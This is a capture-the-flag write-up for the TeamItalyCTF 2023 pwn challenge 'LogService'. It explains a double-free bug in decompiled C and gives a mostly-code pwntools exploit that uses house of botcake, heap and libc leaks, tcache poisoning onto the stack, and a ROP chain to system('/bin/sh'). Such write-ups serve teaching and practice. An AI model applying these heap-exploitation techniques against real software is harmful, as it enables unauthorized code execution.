# TeamItalyCTF 2023
## [pwn] LogService (13 solves)
## Analyzing the binary
the program is simple, allows to add, remove, view and save requests like any standard heap challenge. 
By analyzing the "remove_request" function we can see the bug that allows to duplicate a pointer in the array it remains accessible because n_requests isn't decremented.```void __fastcall remove_request(){  unsigned int ptr; // [rsp+0h] [rbp-10h] BYREF  int i; // [rsp+4h] [rbp-Ch]  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
  v2 = __readfsqword(0x28u);  fread(&ptr, 4uLL, 1uLL, stdin);  if ( ptr < n_requests )  {    free(*((void **)requests + ptr));    for ( i = ptr; i < n_requests - 1; ++i )      *((_QWORD *)requests + i) = *((_QWORD *)requests + i + 1);    send_message(0LL, 2LL, "OK");  }  else  {    send_message(1LL, 11LL, "invalid idx");  }}```
we can notice it in gdb too by adding 3 requests and remove the first one.```pwndbg> x/3gx 0x55da9e1643300x55da9e164330: 0x000055da9e164370      0x000055da9e1644000x55da9e164340: 0x000055da9e164400pwndbg> ```
## Exploiting the bugTo exploit the double free there are 2 ways "fastbin attack" or "house of botcake", i prefer the last one because is stronger.first of all i leaked heap then exploited `house of botcake` and leaked libc too.```pyadd_request(0x80, b"a"*0x80)add_request(0x80, b"a"*0x80)remove(0)remove(0)heap = decrypt(u64(show(0)[:8])) - 0x2a0#print(hex(heap))for i in range(12):    add_request(0x100, b"a"*0x100)
for i in range(7):    remove(5)
remove(13)lib = u64(show(13)[:8])-0x219ce0libc.address = lib#print(hex(lib))
remove(5)add_request(0x100, b"a"*0x100)remove(13)```
here there again 2 ways to exploit: angry fsrop or leaking stack to rop.I went for the second one.Leaking stack is a bit hard because you can't just allocate on `environ` and read it but you have to allocate on array of buffer write the pointer and then use `show` function.
```k = (heap + 0x11b0)>>12 # keychunks = heap + 0x1560-0x90 # array of bufferbig_chunk = heap + 0x10f0 # overlapping chunkvictim_chunk = heap + 0x11b0 # overlapped chunk
payload = cyclic(0xb0) + p64(0) + p64(0x111) # sizepayload += p64((chunks)^k) # fwdpayload += b"A"*(0x1c0-len(payload)) # offsetadd_request(0x1c0, payload)#print(hex(big_chunk))
add_request(0x100, b"a"*0x100)
payload = b"\x00"*0x88 #offsetpayload += p64(0xa1) # size # buffer i needpayload += p64(libc.sym["environ"]) payload += p64(big_chunk)payload += p64(big_chunk)payload += p64(victim_chunk)payload += b"A"*(0x100-len(payload)) # offsetadd_request(0x200, b"a"*0x200) # this is to don't reallocate array while writing on it add_request(0x100, payload)
stack = u64(show(0)[:8])```
Now i only need to repeat exploit to allocate a chunk on the stack and rop. To exploit again i free the overlapping chunks and reallocate them.```rbp = stack-0x148payload = cyclic(0xb0) + p64(0) + p64(0x111)payload += p64((rbp)^k)# fwdpayload += b"A"*(0x1c0-len(payload))add_request(0x1c0, payload)add_request(0x100, b"a"*0x100)rop = ROP(libc)chain = p64(rop.ret.address) + p64(rop.rdi.address) + p64(next(libc.search(b"/bin/sh"))) + p64(libc.sym["system"])chain += b"a"*(0x100-8-len(chain))add_request(0x100, b"a"*8+chain)
sl(b"cat flag")
io.interactive()```